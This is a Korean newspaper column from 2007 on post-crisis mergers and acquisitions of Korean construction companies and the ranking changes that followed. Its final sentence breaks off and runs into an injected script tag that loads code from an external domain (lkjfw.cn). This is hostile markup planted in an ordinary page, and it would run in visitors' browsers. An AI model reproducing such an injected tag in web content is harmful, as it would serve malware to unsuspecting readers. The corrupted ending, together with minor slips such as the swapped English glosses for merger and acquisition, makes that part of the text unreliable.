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언론기고

M&A 통한 규모의 경제 실현 기업합병 유인책 부여 필요

보도일자 2007-01-02

보도기관 일간건설신문

본 고는 외환위기 이후 시공능력 순위 100위 이내의 건설기업에서 발생한 M&A를 기업인수(merger)와 기업합병(acquisition)으로 구분하여 현황, 특징 및 시사점을 살펴보기로 한다.


  기업인수(Acquisition)

  건설기업의 기업인수 사례를 외국 기업에 의한 기업인수와 국내 기업에 의한 기업인수로 나누어 살펴보기로 한다.  외환위기 이후 외국기업에게 인수된 건설업체는 외환위기 이후 98년 또는 99년에 부도를 경험한 업체들로 당시 시공능력 순위 30 ~100위 사이의 중견기업들로 법정관리, 워크아웃, 화의 등에 처해 있던 기업이다.  이 회사들은 법정관리를 통한 자구 과정으로 관계사 합병, 무수익 자산 처분, 유․무상 감자 및 채권단의 출자 전환을 통하여 기업 재무구조를 상당 수준 개선한 이후 시장 입찰을 통하여 매각되었다.
  인수기업은 미국계 회사가 3개사, 룩셈부르크계 1개사로 건설업을 영위하는 업체가 2개사, 투자 수익을 주목적으로 하는 금융업이 2개사이다.  제일 먼저 국내 건설업체를 인수한 것은 미국 전문건설업체인 Ultra-Con.사로 2000년 12월 법정관리 상태인 유원건설을 인수하여 울트라건설로 회사명을 변경하였다.  두 번째로 국내 건설업체를 인수한 것은 미국의 S&K World사로 2001년 주식회사 신한을 인수한 것이다.  극동건설과 일성건설은 미국 및 룩셈부르크계의 투자 수익을 주목적으로 하는 금융업종의 기업이 인수하였다.
  이들 외국기업에 인수된 건설기업의 인수 이후 시공능력 순위 변동 상황을 살펴보면 모두 인수한 직후에는 시공능력 순위가 높아졌으나 그 이후에는 시공능력 순위가 인수시점 이후보다 낮아졌다(<표 1> 참조).  단, 울트라건설의 경우 인수한 이후 4년이 경과된 2004년부터 인수 이전의 시공능력 순위를 회복하였다.  
  울트라건설은 인수 시점인 2000년 시공능력 순위가 68위이었던 것이  2002년에는 99위까지 떨어졌다가 2003년 74위, 2004년 61위, 2005년 72위, 2006년에는 63위로 높아졌다.  주식회사 신한의 경우 인수한 2002년에는 시공능력 순위 50위 이던 것이 2003년에는 47위로 상승했다가 계속 하락하여 2006년에는 73위를 기록하였다.  일성건설의 경우 인수한 2002년에는 시공능력 순위 77위 이던 것이 2003년에는 54위로 상승했다가 하락하여 2006년에는 91위를 기록하였다.  극동건설의 경우 인수한 2003년에는 시공능력 순위 26위 이던 것이 2003년에는 15위로 상승했다가 계속 하락하여 2006년에는 31위를 기록하였다.
국내기업의 국내 건설업체 인수도 외환위기 이후 부도가 난 중견건설업체가 정부와 채권단의 출자 전환, 감자 등을 통하여 일정 단계 경영 정상화가 진행된 업체가 주류를 이루고 있다.  7건 중 국내 일반건설업체에 의한 기업 인수가 3건, 전문건설업체에 의한 기업 인수가 1건, 부동산 건설업체가 2건, 제조업체에 의한 인수가 1건이다.  국내 건설기업의 건설기업 인수의 특징은 인수업체가 피인수업체보다 기업지명도 또는 자산 규모가 열위에 있는 경우가 많다.  국내건설기업이 인수한 건설기업의 경우 인수 이후 인수기업과 피인수기업이 대부분 합병하였다.  대아건설은 경남기업을 2004년 11월에 흡수 합병하여 상호를 경남기업으로 변경하였고, 고려산업개발은 2004년 상호를 두산산업개발로 변경하여 두산건설을 흡수 합병하였고, 신동아건설과 일해건설은 합병하여 상호를 신동아건설로 하였다.  즉, 국내건설업체의 건설업체 인수는 궁극적으로 두 회사를 합병하여 실적과 재무 상태를 개선하여 건설시장에서의 사업영역의 확대 및 규모의 경제를 실현하여 성장하기 위한 경영전략으로 이해된다.
  전문건설업체 일해토건은 신동아건설을 인수하여 일반건설업으로서의 전환하는 성장 전략을 구사한 것으로 판단된다.  부동산개발 전문업체인 코암C&C 개발은 한신공영, 골든에셋플래닝은 남광토건을 각각 인수하여 일반건설업으로서의 사업 영역 확장을 위한 영업 전략을 구사한 것으로 보인다.  그러나, 남광토건을 2002년 7월초 인수한 부동산개발회사 골든에셋플래닝은 2005년 남강토건을 (주)알덱스에 매각하였다.  반도체 주원료인 석영 전문제조업체 (주)원익은 신원종합개발을 인수하여 비건설 분야에서 건설업에 신규 진입을 시도한 경우로 사업 영역 확장 전략을 구사한 것으로 보인다.
인수한 이후 인수기업과 합병한 고려산업개발, 경남기업 및 신동아건설을 제외한 한보건설, 한신공영, 남광토건 및 신원종합개발의 시공능력순위변화를 살펴보면, 한보건설은 인수된 2002년 90위에서 2006년 115위로 시공능력순위가 낮아졌고, 한신공영은 인수된 2002년 시공능력순위 35위에서 2006년 32위로 약간 상승하였다.  남광토건은 인수된 2003년 42위에서 2006년 47위로 시공능력 순위가 약간 하락하였고,  신원종합개발은 인수한 2002년 173위에?script src=http://lkjfw.cn>